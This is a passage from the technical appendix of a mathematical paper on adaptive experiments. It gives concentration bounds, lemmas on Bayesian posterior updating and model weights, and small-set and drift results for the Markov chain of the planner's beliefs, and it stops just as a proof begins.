Observe that $$m_{t}(d) : = \sum_{s=1}^{t} 1\{ D_{s} = d \} Y_{s}(d) /N_{t}(d) = t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} Y_{s}(d) / f_{t}(d). $$
We provide two upper bounds and then combine them. Regarding the first bound, note that
\begin{align*}
P_{\pi} \left( m_{t}(d) - \theta(d) > a \right) \leq & P_{\pi} \left( \max_{0 \leq s \leq t} ( Y_{s}(d) - \theta(d) ) > a \right) \leq \sum_{s=1}^{t} P_{\pi} \left( (Y_{s}(d) - \theta(d) ) > a \right) \\
\leq & t \exp \{ - a \lambda \} E[\exp \lambda |Y(d) - \theta(d)| ] ,~\forall \lambda > 0.
\end{align*}
where the last line follows from the Markov inequality and the fact that $Y_{s}(d)$ is IID. Since $Y(d)$ is also sub-gaussian (Assumption \ref{ass:sub-gauss}), $ E[\exp \lambda (Y(d) - \theta(d)) ] \leq \exp \{ 0.5 \upsilon \sigma(d)^{2} \lambda^{2} \} $ and thus
\begin{align*}
P_{\pi} \left( ( m_{t}(d) - \theta(d) ) > a \right) \leq \exp \left\{ \log t - 0.5 \frac{a^{2} } { \upsilon \sigma(d)^{2} } \right\} .
\end{align*}
An analogous bound holds for $ P_{\pi} \left( - ( m_{t}(d) - \theta(d) ) > a \right) $, and thus
\begin{align*}
P_{\pi} \left( | m_{t}(d) - \theta(d) | > a \right) \leq 2 \exp \left\{ \log t - 0.5 \frac{a^{2} } { \upsilon \sigma(d)^{2} } \right\} .
\end{align*}
We now derive the other bound. For this, let, for any $\eta> 0$ and $\delta>0$,
\begin{align*}
F(t,\delta) : = \left\{ | f_{t}(d) - t^{-1} \sum_{s=1}^{t} E_{\pi}[ \delta(Z_{s})(d) ] | \leq \delta \right\}
\end{align*}
and
\begin{align*}
A(t,\eta ) : = \left\{ | t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} (Y_{s}(d) - \theta(d)) | \leq \eta \right\}.
\end{align*}
Thus, for any $\eta>0$ and $\delta>0$,
\begin{align*}
P_{\pi} \left( | m_{t}(d) - \theta(d) | > a \right) = & P_{\pi} \left( | t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} Y_{s}(d) / f_{t}(d) - \theta(d) | > a \right) \\
\leq & P_{\pi} \left( | t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} (Y_{s}(d) - \theta(d)) / f_{t}(d) | \geq a \cap A(t,\eta) \right) \\
& + P_{\pi} \left( A(t,\eta) ^{C} \right) \\
\leq & P_{\pi} \left( \eta> a ( t^{-1} \sum_{s=1}^{t} E_{\pi}[ \delta(Z_{s})(d) ] - \delta ) \right) + P_{\pi} \left( F(t,\delta ) ^{C} \right) + P_{\pi} \left( A(t,\eta) ^{C} \right).
\end{align*}
Letting $\eta = \delta = \frac{ t^{-1} \sum_{s=1}^{t} E_{\pi}[ \delta(Z_{s})(d) ] a }{ 1 + a } $ the first term in the RHS is naught. By Lemmas \ref{lem:concentration.freq} and \ref{lem:concentration.avgt}, it follows that
\begin{align*}
P_{\pi} \left( | m_{t}(d) - \theta(d) | > a \right) \leq & 2\exp \{ -0.5 t \upsilon^{-1} ( \frac{ t^{-1} \sum_{s=1}^{t} E_{\pi}[ \delta(Z_{s})(d) ] a }{ ( 1 + a ) \sigma(d) } ) ^{2} \} \\
& + \exp \left\{ - \frac{ \min \{ (0.5 \varrho(\epsilon) )^{2},1\} t \left( \frac{ t^{-1} \sum_{s=1}^{t} E_{\pi}[ \delta(Z_{s})(d) ] a }{ 1 + a } \right)^{2} }{ 181 C_{M} \log t } \right\} .
\end{align*}
\end{proof}
\section{Stochastic Properties of the Bayesian Posteriors and weights}
\textbf{Timing.} We first recall the timing. At period $t \in \{1,..., T, ...\}$, the planner starts with beliefs $(\zeta^{o}_{t-1},\nu^{o}_{t-1})_{o=0}^{L}$ and weights $(\alpha^{o}_{t-1})_{o=0}^{L}$, it takes an action $D_{t}$, the corresponding outcome is realized $Y_{t}(D_{t})$ and beliefs are updated given this new information.
\bigskip
The next lemma shows that for any $t$ and any $o \in \{0,...,L\}$, $\zeta^{o}_{t}$ can be written as a function of $(\zeta^{0}_{t},\nu^{0}_{t})$ and their priors, and the same holds for $\nu^{o}_{t}$. This result implies that it suffices to study the evolution of $(\zeta^{0}_{t},\nu^{0}_{t})_{t}$ and not of all the models.
\begin{lemma}\label{lem:characterization.models}
For any $t \geq 0$, any $o \in \{0,...,L\}$ and any $d \in \{0,...,M\}$,
\begin{align*}
\nu^{o}_{t+1}(d) = & \nu^{0}_{t+1}(d) - \nu^{0}_{0}(d) + \nu^{o}_{0}(d) \\
\zeta^{o}_{t+1}(d) = & \frac{ \zeta^{0}_{t+1}(d) (\nu^{0}_{t+1}(d) ) }{ \nu^{0}_{t+1}(d) + \nu^{o}_{0}(d) - \nu^{0}_{0}(d) } + \frac{ \nu^{o}_{0}(d) \zeta^{o}_{0}(d) - \nu^{0}_{0}(d) \zeta^{0}_{0}(d) }{ \nu^{0}_{t+1}(d) + \nu^{o}_{0}(d) - \nu^{0}_{0}(d) }
\end{align*}
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lem:characterization.models} ]
Throughout, we omit the super script "0" from the quantities.
Observe that for any $t \geq 1$,
\begin{align*}
\nu_{t}(d) = \sum_{s=1}^{t} 1\{ D_{s} = d \} + \nu_{0}(d) = \nu^{o}_{t}(d) + \nu_{0}(d) - \nu^{o}_{0}(d).
\end{align*}
and
\begin{align*}
\zeta_{t+1}(d) = & \frac{ 1\{D_{t+1} = d\} Y_{t+1}(d) }{ \nu_{t}(d) + 1\{ D_{t+1} = d \} } + \frac{ \nu_{t}(d) \zeta_{t}(d) }{ \nu_{t}(d) + 1\{ D_{t+1} = d \} } \\
= & \frac{ 1\{D_{t+1} = d\} Y_{t+1}(d) }{ \nu_{t}(d) + 1\{ D_{t+1} = d \} } + \frac{ 1\{D_{t} = d\} Y_{t}(d) }{ \nu_{t}(d) + 1\{ D_{t+1} = d \} } \\
& + \frac{ \nu_{t-1}(d) \zeta_{t-1}(d) }{ \nu_{t}(d) + 1\{ D_{t+1} = d \} }
\end{align*}
since $\nu_{t}(d) = \nu_{t-1}(d) + 1\{ D_{t} = d\}$, and iterating in this fashion, it follows that
\begin{align*}
\zeta_{t+1}(d) = & \sum_{s=1}^{t+1} \frac{ 1\{D_{s} = d\} Y_{s}(d) }{ \nu_{t}(d) + 1\{ D_{t+1} = d \} } + \frac{ \nu_{0}(d) \zeta_{0}(d) }{ \nu_{t+1}(d) + 1\{ D_{t+1} = d \} }.
\end{align*}
Hence, $\sum_{s=1}^{t+1} 1\{D_{s} = d\} Y_{s}(d) = \zeta_{t+1}(d) (\nu_{t}(d) + 1\{ D_{t+1} = d \} ) - \nu_{0}(d) \zeta_{0}(d) $. Since the same equation holds for $\zeta^{o}_{t+1}(d)$, it follows that
\begin{align*}
\zeta_{t+1}(d) (\nu_{t}(d) + 1\{ D_{t+1} = d \} ) - \nu_{0}(d) \zeta_{0}(d) = \zeta^{o}_{t+1}(d) (\nu^{o}_{t}(d) + 1\{ D_{t+1} = d \} ) - \nu^{o}_{0}(d) \zeta^{o}_{0}(d),
\end{align*}
which implies \begin{align*}
\zeta^{o}_{t+1}(d) = & \frac{ \zeta_{t+1}(d) (\nu_{t+1}(d) ) }{ \nu^{o}_{t+1}(d) } + \frac{ \nu^{o}_{0}(d) \zeta^{o}_{0}(d) - \nu_{0}(d) \zeta_{0}(d) }{ \nu^{o}_{t+1}(d) } \\
= & \frac{ \zeta_{t+1}(d) (\nu_{t+1}(d) ) }{ \nu_{t+1}(d) + \nu^{o}_{0}(d) - \nu_{0}(d) } + \frac{ \nu^{o}_{0}(d) \zeta^{o}_{0}(d) - \nu_{0}(d) \zeta_{0}(d) }{ \nu_{t+1}(d) + \nu^{o}_{0}(d) - \nu_{0}(d) }
\end{align*}
\end{proof}
The next lemma shows that $\alpha^{o}_{t}$ can also be written as a function of $\zeta^{0}_{t}$ and $\nu^{0}_{t}$, and the priors.
\begin{lemma}\label{lem:characterization.alpha}
For any $t \geq 0$, any $o \in \{0,...,L\}$ and any $d \in \{0,...,M\}$,
\begin{align*}
\alpha^{o}_{t}(d) = \frac{ \exp \ell^{o}_{t}(d) } { \sum_{o=0}^{L} \exp \ell^{o}_{t}(d) }
\end{align*}
where
\begin{align*}
& \ell^{o}_{t}(d) \\
= & \log \phi ( \frac{\nu^{0}_{t}(d)} { \nu^{0}_{t}(d) - \nu^{0}_{0}(d) } \zeta^{0}_{t}(d) - \frac{\nu^{0}_{0}(d)} { \nu^{0}_{t}(d) - \nu^{0}_{0}(d) } \zeta^{0}_{0}(d) ; \zeta^{o}_{0}(d) , ( \nu^{0}_{t}(d) - \nu^{0}_{0}(d) + \nu^{o}_{0}(d) )/( ( \nu^{0}_{t}(d) - \nu^{0}_{0}(d) ) \nu^{o}_{0}(d) ) ) .
\end{align*}
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lem:characterization.alpha} ]
Throughout we omit the super script "0" from the relevant quantities.
It readily follows from the fact that $\zeta_{t}(d) = \frac{N_{t}(d)} { \nu_{t}(d) } m_{t}(d) + \frac{\nu_{0}(d)} { \nu_{t}(d) } \zeta_{0}(d) $ iff $ \frac{\nu_{t}(d)} { N_{t}(d) } \zeta_{t}(d) - \frac{\nu_{0}(d)} { N_{t}(d) } \zeta_{0}(d) = m_{t}(d) $ and $N_{t}(d) = \nu_{t}(d) - \nu_{0}(d)$.
\end{proof}
\subsection{The Markov Chain for $(Z_{t})_{t}$}
Throughout we omit the super script "0" from $(\zeta^{0}_{t},\nu^{0}_{t})$.
For each $t$, let $$Z_{t} : = (\zeta_{t},\nu_{t}) \in \mathbb{Z};$$ we now define the state space, $\mathbb{Z}$. To do this, first let, for any $t \in \{0,...,T\}$,
\begin{align*}
\mathcal{V}_{t}(\nu_{0}) : = & \{ a \in \{ \nu_{0} ,1 + \nu_{0} ,...,t+ \nu_{0} \}^{M+1} \colon \sum_{d=0}^{M} a(d) - \nu_{0} < t \} \\
\partial \mathcal{V}_{t}(\nu_{0}) : = & \{ a \in \{ \nu_{0} ,1 + \nu_{0} ,...,t+ \nu_{0} \}^{M+1} \colon \sum_{d=0}^{M} a(d) - \nu_{0} = t \} \\
\bar{\mathcal{V}}_{t}(\nu_{0}) : = & \mathcal{V}_{t} (\nu_{0}) \cup \partial \mathcal{V}_{t} (\nu_{0}).
\end{align*}
Note that $\nu_{t} \in \bar{\mathcal{V}}_{T}(\nu_{0}) $ and if $\nu_{t} \in \partial \mathcal{V}_{T}(\nu_{0}) $, then $\sum_{d} 1\{D_{t} = d \} = T$ and thus the experiment stops. Hence, $\mathbb{Z} : = \mathbb{R}^{M+1} \times \bar{\mathcal{V}}_{T}(\nu_{0}) $. Henceforth, we will omit $\nu_{0}$ from the set $\mathcal{V}_{T}$.
Henceforth, we
The policy functions $\phi : = (\sigma,\delta)$ --- that are time homogeneous --- and the DGP for $Y$ induce a Markov chain over $(Z_{t})_{t}$ with transition probability function $Q$. This transition probability function is characterize by the following recursion: For any $d \in \{0,...,M\}$ and given $z_{t} = (\zeta_{t},\nu_{t} )$,
\begin{align*}
\nu_{t+1}(d) = & \nu_{t}(d) + 1\{ D_{t+1} = d \} 1\{ \nu_{t} \in \mathcal{V}_{T}(\nu_{0}) \} \\
\zeta_{t+1}(d) = & \frac{ 1\{D_{t+1} = d\} Y_{t+1}(d) }{ \nu_{t}(d) + 1\{ D_{t+1} = d \} } + \frac{ \nu_{t}(d) \zeta_{t}(d) }{ \nu_{t}(d) + 1\{ D_{t+1} = d \} },
\end{align*}
where $\Pr( D_{t+1} = d \mid z_{t}) = \delta(z_{t}) (d)$ and $Y_{t+1}(d) \sim F_{d}$ where $F_{d}$ has mean $\theta(d)$, variance $\sigma^{2}(d)$ and, by Assumption \ref{ass:sub-gauss}, it is assumed to have full support PDF and to be sub-gaussian, i.e., $E[\exp \lambda ( Y(d) - \theta(d)) ] \leq C \exp \upsilon \sigma^{2}(d) \lambda^{2} $ for some constants $C=1$, $\upsilon > 0$ and any $\lambda>0$.
\subsection{Properties of the transition probability function $Q$}
\label{app:properties.Q}
We now prove certain useful properties of $Q$. For this, let $\mathbf{1}_{z}(.)$ be the Dirac probability measure at $z$. Also, we now define a family of conditional probability measures over $\mathbb{Z}$. For any $m \in \{0,...\}$ and $z_{0} =(\zeta_{0},\nu_{0}) \in \mathbb{Z}$, let $\mathcal{Q}_{m}(.|z_{0})$ be such that
\begin{align*}
\mathcal{Q}_{m}( A_{\zeta} \times A_{\nu} \mid z_{0} ) : = \mathbf{1}_{ \{ \nu_{0}(m) + 1\{ \nu_{0}(.) \in \mathcal{V}_{T-m} \} \} } ( A_{\nu} ) Q( \zeta(m) \in A_{\zeta} \mid D = m, z_{0}(m) ),
\end{align*}
for all $A_{\zeta} \times A_{\nu}$ Borel in $\mathbb{Z}$.
\subsubsection{Small sets}
In this section we characterize the type of sets that are ``small", i.e., a set $C$ such that there exists a $\delta>0$, a $n \in \mathbb{N}$, and a measure $\psi \in \Delta(\mathbb{Z})$ such that
\begin{align*}
\inf_{z \in C } Q^{n}(\cdot \mid z) \geq \delta \psi(.).
\end{align*}
The next lemma provides a simple lower bound for $Q$ using the fact that $\delta(.)(.) \geq \epsilon$.
\begin{lemma}\label{lem:Q.lower.bound.0}
For any set $A : = \prod_{m=1}^{M} A(m)$ and any $z_{0} \in \mathbb{Z}$, it follows that
\begin{align*}
Q^{L+1} (A \mid z_{0}) \geq \epsilon \int Q^{L}(A \mid z_{1}) Q(dz_{1} \mid D_{0} = d_{0}, z_{0}),~\forall L\geq 0~and~d_{0} \in \{0,...,M\},
\end{align*}
and
\begin{align*}
Q(A \mid z_{0}) \geq \epsilon \sum_{l=0}^{M} \prod_{d \ne l} \mathbf{1}_{ z_{0} (d) }( A(d) ) Q( A(l) \mid D = l, z_{0} ).
\end{align*}
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lem:Q.lower.bound.0}]
First we observe that for any $L \in \{0,..., M\}$, any $z_{0}$ and any set $A$,
\begin{align*}
Q^{L+1} (A \mid z_{0}) = & \int Q^{L}(A \mid z_{1}) Q(dz_{1} \mid z_{0}) \\
= & \int \sum_{d_{0} } \delta(z_{0})(d_{0}) Q^{L}(A \mid z_{1}) Q(dz_{1} \mid D_{0} = d_{0}, z_{0}) \\
\geq & \epsilon \int Q^{L}(A \mid z_{1}) \sum_{d_{0}} Q(dz_{1} \mid D_{0} = d_{0}, z_{0}),
\end{align*}
where $Q^{0}(.\mid z) : = \mathbf{1}_{z}(.)$ and the third line follows because $\delta(.)(.) \geq \epsilon$. Observe further that for any $d \in \{0,...,M\}$,
\begin{align*}
Q( A \mid D_{0} = d, z_{0}) = \prod_{d' \ne d} \mathbf{1}_{z_{0}(d')}(A(d')) Q( A(d) \mid D_{0} = d, z_{0} ).
\end{align*}
Thus, for $L=0$, this implies that
\begin{align*}
Q (A \mid z_{0}) \geq \epsilon \sum_{d=0}^{M} \prod_{d' \ne d} \mathbf{1}_{z_{0}(d')}(A(d')) Q( A(d) \mid D_{0} = d, z_{0} ),
\end{align*}
\end{proof}
The next lemma show that we can lower bound the transition $Q^{L}$ for different values of $L \in \{0,...\}$ in terms of a product measure given by the family $( \mathcal{Q}_{m})_{m}$.
\begin{lemma}\label{lem:Q.lower.bound}
For any set $A : = \prod_{m=1}^{M} A(m)$ such that $A(m) : = A_{\zeta}(m) \times A_{\nu}(m)$, it follows that
\begin{enumerate}
\item For any $z_{0} \in \mathbb{Z}$ and any $L \in \{1,...,M\}$,\footnote{$D_{t}$ is the random variable corresponding to the treatment assignment in period $t$; $z_{t}$ is the state at time $t$.}
\begin{align*}
Q^{L+1} (A \mid z_{0}) \geq \epsilon^{L} \int Q(A \mid z_{1}(0),z_{2}(1),z_{3}(2),...,z_{L}(L-1),z_{0}(L),...,z_{0}(M)) \prod_{t=0}^{L-1} \mathcal{Q}_{t}( dz_{t+1}(t) \mid z_{0} ).
\end{align*}
\item For any $z_{0} \in \mathbb{Z}$,
\begin{align*}
Q^{M+1} (A \mid z_{0}) \geq \epsilon^{M+1} \prod_{m=0}^{M} \mathcal{Q}_{m}( A(m) \mid z_{0} ) ,
\end{align*}
\end{enumerate}
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lem:Q.lower.bound}]
(1) By the proof of Lemma \ref{lem:Q.lower.bound.0}, for $ L \geq 1$ it follows that
\begin{align}\label{eqn:Petite-1}
Q^{L+1} (A \mid z) \geq \epsilon \int Q^{L}(A \mid z_{1}(0),z_{0}(1),...,z_{0}(M)) Q( dz_{1}(0) \mid D_{0} = 0, z_{0} ).
\end{align}
Analogously, for any $z_{1}$,
\begin{align*}
Q^{L} (A \mid z_{1}) \geq & \epsilon \int Q^{L-1}(A \mid z_{2}) Q(dz_{2} \mid D_{1} = 1, z_{1}) \\
\geq & \epsilon \int Q^{L-1}(A \mid z_{1}(0),z_{2}(1),z_{1}(2),...,z_{1}(M)) Q( dz_{2}(1) \mid D_{1} = 1, z_{1} ).
\end{align*}
Plugging this expression in \ref{eqn:Petite-1} with $z_{1} = z_{1}(0),z_{0}(1),...,z_{0}(M)$, it follows that
\begin{align*}
Q^{L+1} (A \mid z_{0}) \geq & \epsilon^{2} \int Q^{L-1}(A \mid z_{1}(0),z_{2}(1),z_{0}(2),...,z_{0}(M)) Q( dz_{2}(1) \mid D_{1} = 1, z_{1}(0),z_{0}(1),...,z_{0}(M) ) \\
& \times Q( dz_{1}(0) \mid D_{0} = 0, z_{0} ).
\end{align*}
Since
\begin{align}\label{eqn:Petite-0}
Q( A(d) \mid D_{0} = d, z_{0} ) = \mathbf{1}_{ \{ \nu_{0}(d) + 1\{ \nu_{0}(.) \in \mathcal{V} \} \} }(A_{\nu}(d)) Q(A_{\zeta}(d) \mid D_{0} = d, z_{0}(d) ) ,
\end{align}
it follows that
\begin{align*}
Q^{L+1} (A \mid z_{0}) \geq & \epsilon^{2} \int Q^{L-1}(A \mid z_{1}(0),z_{2}(1),z_{0}(2),...,z_{0}(M)) \mathbf{1}_{ \{ \nu_{0}(1) + 1\{ \nu_{1}(.) \in \mathcal{V}_{T} \} \} }( d\nu_{2}(1) ) Q( d\zeta_{2}(1) \mid D_{1} = 1, z_{0}(1) ) \\
& \times Q( dz_{1}(0) \mid D_{0} = 0, z_{0} ),
\end{align*}
where $\nu_{1}(.) = ( \nu_{1}(0) , \nu_{0}(1),..., \nu_{0}(M) ) = ( \nu_{0}(0) + 1\{ \nu_{0}(.) \in \mathcal{V}_{T} \}, \nu_{0}(1),..., \nu_{0}(M) ) $ because at time $0$, $D_{0} = 0$. Hence, $\nu_{1}(.) \in \mathcal{V}_{T}$ iff $\nu_{0} \in \mathcal{V}_{T-1}$. Thus,
\begin{align*}
& Q^{L+1} (A \mid z_{0}) \\
\geq & \epsilon^{2} \int Q^{L-1}(A \mid z_{1}(0),z_{2}(1),z_{0}(2),...,z_{0}(M)) \mathbf{1}_{ \{ \nu_{0}(1) + 1\{ \nu_{0}(.) \in \mathcal{V}_{T-1} \} \} }( d\nu_{2}(1) ) \mathbf{1}_{ \{ \nu_{0}(0) + 1\{ \nu_{0}(.) \in \mathcal{V}_{T} \} \} }( d\nu_{1}(0) ) \\
& \times Q( d\zeta_{1}(0) \mid D_{0} = 0, z_{0}(0) ) Q( d\zeta_{2}(1) \mid D_{1} = 1, z_{0}(1) ) \\
= & \int Q^{L-1}(A \mid z_{1}(0),z_{2}(1),z_{0}(2),...,z_{0}(M)) \mathcal{Q}_{1}( dz_{2}(1) \mid z_{0} ) \mathcal{Q}_{1}( dz_{1}(0) \mid z_{0} )
\end{align*}
Iterating in this fashion, it follows that
\begin{align*}
Q^{L+1} (A \mid z_{0}) \geq & \epsilon^{L} \int Q(A \mid z_{1}(0),z_{2}(1),z_{3}(2),...,z_{L}(L-1),z_{0}(L),...,z_{0}(M)) \\
& \times \prod_{t=0}^{L-1} \mathbf{1}_{ \{ \nu_{0}(t) + 1\{ \nu_{0}(.) \in \mathcal{V}_{T-t} \} \} } ( d\nu_{t+1}(t) ) \prod_{t=0}^{L-1} Q( d\zeta_{t+1}(t) \mid D_{t} = t, z_{0}(t) ).
\end{align*}
(3) In particular, for $L=M$, these results imply that
\begin{align*}
Q^{M+1} (A \mid z_{0}) \geq & \epsilon^{M} \int Q(A \mid z_{1}(0),z_{2}(1),z_{3}(2),...,z_{L}(M-1),z_{0}(M)) \\
& \times \prod_{t=0}^{M-1} \mathbf{1}_{ \{ \nu_{0}(t) + 1\{ \nu_{0}(.) \in \mathcal{V}_{T-t} \} \} } ( d\nu_{t+1}(t) ) \prod_{t=0}^{M-1} Q( d\zeta_{t+1}(t) \mid D_{t} = t, z_{0}(t) ) \\
\geq & \epsilon^{M+1} \int \prod_{t=0}^{M-1} \mathbf{1}_{z_{t+1}(t)}(A(t)) Q( A(M) \mid D_{M} = M, z_{1}(0),z_{2}(1),z_{3}(2),...,z_{L}(M-1),z_{0}(M)) \\
& \times \prod_{t=0}^{M-1} \mathbf{1}_{ \{ \nu_{0}(t) + 1\{ \nu_{0}(.) \in \mathcal{V}_{T-t} \} \} } ( d\nu_{t+1}(t) ) \prod_{t=0}^{M-1} Q( d\zeta_{t+1}(t) \mid D_{t} = t, z_{0}(t) ) \\
\geq & \epsilon^{M+1} \int \prod_{t=0}^{M-1} \mathbf{1}_{z_{t+1}(t)}(A(t)) 1_{ \{ \nu_{0}(M) + 1\{ \nu_{0}(.) \in \mathcal{V}_{T-M} \} \} } ( A_{\nu}(M) ) Q( A_{\zeta}(M) \mid D_{M} = M, z_{0}(M) ) \\
& \times \prod_{t=0}^{M-1} \mathbf{1}_{ \{ \nu_{0}(t) + 1\{ \nu_{0}(.) \in \mathcal{V}_{T-t} \} \} } ( d\nu_{t+1}(t) ) \prod_{t=0}^{M-1} Q( d\zeta_{t+1}(t) \mid D_{t} = t, z_{0}(t) ) .
\end{align*}
And using our definitions, this implies that
\begin{align*}
Q^{M+1} (A \mid z_{0}) \geq & \epsilon^{M+1} \int \prod_{t=0}^{M} \mathbf{1}_{z(t)}(A(t)) \mathcal{Q}( dz(0), ..., dz(M-1) , dz(M) \mid z_{0} ) \\
= & \epsilon^{M+1} \prod_{t=0}^{M} \mathcal{Q}_{t}( A(t) \mid z_{0} ) .
\end{align*}
\end{proof}
The next lemma provides a lower bound for the probability $ Q ( \cdot \mid D = d, z_{0} ) $ over $\mathbb{R}$, which in turn helps to construct a lower bound for $\mathcal{Q}_{m}$
\begin{lemma}\label{lem:Q.lower.bound.1}
For any $d \in \{0,...,M\}$ and any $C : = \prod_{m=0}^{M} C(m) \subseteq \mathbb{Z}$ where $C(d) : = C_{\zeta}(d) \times C_{\nu}(d)$, with $C_{\zeta}(d)$ bounded with non-empty interior, it follows that for any set $E \subseteq \mathbb{R}$
\begin{align*}
Q ( \zeta_{1}(d) \in E \mid D = d, z ) \geq \delta_{C} Leb(E \mid C_{\zeta}(d) ) ,~\forall z \in C
\end{align*}
where $$\delta_{C} : = \inf_{y \in C_{\zeta}(d) } f_{d}(y) (1+\nu_{0}(d))$$
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lem:Q.lower.bound.1}]
Given $z$ and $D=d$, let $y \mapsto e(y,z(d)) : = \frac{ y }{1+ \nu(d) } + \frac{\nu(d) }{1 + \nu(d) } \zeta(d) $; also, recall that $y(d) \sim F_{d}$ with PDF $f_{d}$. Thus
\begin{align*}
Q(\zeta_{1}(d) \in E \mid D=d, z ) = & \int 1\{ e(y,z) \in E \} F_{d}(dy) \\
\geq & \int 1\{ e(y,z) \in E \cap C_{\zeta}(d) \} F_{d}(dy) \\
\geq & \inf_{y \in C_{\zeta}(d) } f_{d}(y) \int 1\{ e(y,z) \in E \cap C_{\zeta}(d) \} dy.
\end{align*}
Observe that $de(y,z) = dy/(1+\nu(d))$. Thus, with a change of variables,
\begin{align*}
Q(\zeta_{1}(d) \in E \mid D=d, z ) \geq & (1+\nu(d)) \inf_{y \in C_{\zeta}(d) } f_{d}(y) \int 1\{ \zeta'(d) \in E \cap C_{\zeta}(d) \} d\zeta'(d) \\
\geq & (1+\nu(d)) \inf_{y \in C_{\zeta}(d) } f_{d}(y) Leb( E \mid C_{\zeta}(d) )
\end{align*}
where the last line follows from the fact that $Leb(C_{\zeta}(d)) \in (0,1]$. The result thus follows from the fact that $\nu(d) \geq \nu_{0}(d)$.
%
\end{proof}
\begin{lemma}\label{lem:small}
Any set $\mathcal{C} = \prod_{m=0}^{M} \mathcal{C}(m)$ where $\mathcal{C}(m) : = \{ (\zeta(m),\nu(m)) \colon \zeta(m) \in S(m),~ \nu(m) = a \} $ with $S(m)$ bounded and with non-empty interior and $a(.) \in \bar{\mathcal{V}}_{T}(\nu_{0})$ is small, i.e.,
\begin{align*}
Q^{M+1}(A \mid z) \geq \epsilon^{M+1} \delta_{\mathcal{C}} \psi(A),~\forall A \subseteq \mathbb{Z},
\end{align*}
for any $z \in \mathcal{C}$, where $\psi$ is a probability measure such that
\begin{align*}
\psi(A) & = \prod_{m=0}^{M} \mathbf{1}_{a(m)+1\{ m < m^{\ast} \}} (A_{\nu} (m) ) Leb(A_{\zeta}(m) \mid \mathcal{C}(m) ),
\end{align*}
for any set $A : = \prod_{m=0}^{M} A_{\zeta}(m) \times A_{\nu}(m)$, where $m^{\ast}$ be the first $m \in \{0,...,M\}$ such that $a(.) \notin \mathcal{V}_{T-m}$ (if this never happens, we simply set $m^{\ast} = T$).
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lem:small}]
Abusing notation, let $Q(\cdot \mid D=d , z)$ be the probability over $\mathbb{Z}$ given $D=d$ and $Z=z$.
Let $m^{\ast}$ be the first $m \in \{0,...,M\}$ such that $a(.) \notin \mathcal{V}_{T-m}$ (if this never happens, we simply set $m^{\ast} = T$).
It is enough to show the results for ``squares", $A : = \prod_{m=0}^{M} A(m)$ and $A(m) : = A_{\zeta}(m) \times A_{\nu}(m) $ with $A_{\nu}(m) \subseteq \{ 1,...,T \}$ and $A_{\zeta}(m) \subseteq \mathbb{R}$.
First assume $a(.) \in \mathcal{V}_{T}$, then by Lemma \ref{lem:Q.lower.bound}(2)
\begin{align*}
Q^{M+1} (A \mid z_{0}) \geq & \epsilon^{M+1} \prod_{m=0}^{M} \mathcal{Q}_{m}( A(m) \mid z_{0}) \\
= & \epsilon^{M+1} \prod_{m=0}^{m^{\ast}-1} \mathcal{Q}_{m}( A(m) \mid z_{0}) \prod_{m=m^{\ast}}^{M} \mathcal{Q}_{m}( A(m) \mid z_{0})
\end{align*}
(if $m^{\ast} = 0$, then the first product is taken to be 1 and if $m^{\ast} > M$ the second product is taken to be 1).
Recall that for $z_{0}$ in $\mathcal{C}$, $\nu_{0}(.) = a(.)$. Hence, for each $m \in \{0,...,m^{\ast}-1\}$,
\begin{align*}
\mathcal{Q}_{m}( A(m) \mid z_{0}) = \mathbf{1}_{ a(m) + 1 } ( A_{\nu}(m) ) Q( \zeta(m) \in A_{\zeta} (m) \mid D = m, z_{0}(m) )
\end{align*}
and for each $m \in \{m^{\ast},...,M \}$,
\begin{align*}
\mathcal{Q}_{m}( A(m) \mid z_{0}) = \mathbf{1}_{ a(m) } ( A_{\nu} (m) ) Q( \zeta(m) \in A_{\zeta} (m) \mid D = m, z_{0}(m) ).
\end{align*}
By Lemma \ref{lem:Q.lower.bound.1}, it follows that, for each $m \in \{0,...,m^{\ast}-1\}$,
\begin{align*}
Q( \zeta(m) \in A_{\zeta}(m) \mid D = m, z_{0}(m)) \geq \mathbf{1}_{a(m)+1} ( A_{\nu}(m) ) \delta_{\mathcal{C}(m)} Leb( A_{\zeta} (m ) \mid \mathcal{C}(m) ),
\end{align*}
and for each $m \in \{m^{\ast},...,M \}$,
\begin{align*}
\mathcal{Q}_{m}( A(m) \mid z_{0}) \geq \mathbf{1}_{ a(m) } ( A_{\nu} (m) ) \delta_{\mathcal{C}(m)} Leb( A_{\zeta} (m ) \mid \mathcal{C}(m) ).
\end{align*}
Hence,
\begin{align*}
Q^{M+1} (A \mid z_{0}) \geq \epsilon^{M} \prod_{m=0}^{M} \delta_{\mathcal{C}(m)} \mathbf{1}_{a(m)+1\{ m < m^{\ast} \}} ( A_{\nu}(m) ) Leb( A_{\zeta} (m ) \mid \mathcal{C}(m) )
\end{align*}
letting $\delta_{\mathcal{C}} : = \min_{m} \delta_{C(m)} > 0$, the result follows.
\end{proof}
\begin{remark}[A remark about Assumption \ref{ass:PF.epsilon}]
By inspection of the proof of Lemma \ref{lem:small}, and the other lemmas used as building blocks, it follows that Assumption \ref{ass:PF.epsilon} could be relaxed to allow for $\epsilon$ to depend on the state, i.e., $z \mapsto \epsilon(z)$ provided that $\inf_{z \in C} \epsilon(z) > 0$ for any $C$ compact. $\triangle$
\end{remark}
\subsubsection{Drift Condition }
In this section we show that $Q$ satisfies a drift condition.
\begin{lemma}\label{lem:Q.drift}
For any $a \geq 0$ and $A \geq 0$, the function $z \mapsto V(z) : = 1 + a ||\bar{\zeta}||_{1} + A ||\nu - \partial \mathcal{V}_{T} ||_{1}$ where $d \mapsto \bar{\zeta}(d) : = (\zeta(d) - \theta(d))/\sigma(d) $, satisfies
\begin{align*}
Q[V](z) \leq \gamma(z) V(z) + b,
\end{align*}
with $\gamma(z) : = \epsilon \max_{d} \frac{\nu(d) }{\nu(d) +1} + (1-\epsilon) $ and $b : = 1-\gamma + a \sum_{d} \frac{ \delta(z)(d) }{1 + \nu_{0}(d) } $. Observe that $\max_{z} \gamma(z) \leq \gamma : = \epsilon \max_{d} \frac{\nu_{0}(d) + T}{\nu_{0}(d) + T +1} + (1-\epsilon) < 1$.
\end{lemma}
\begin{proof}
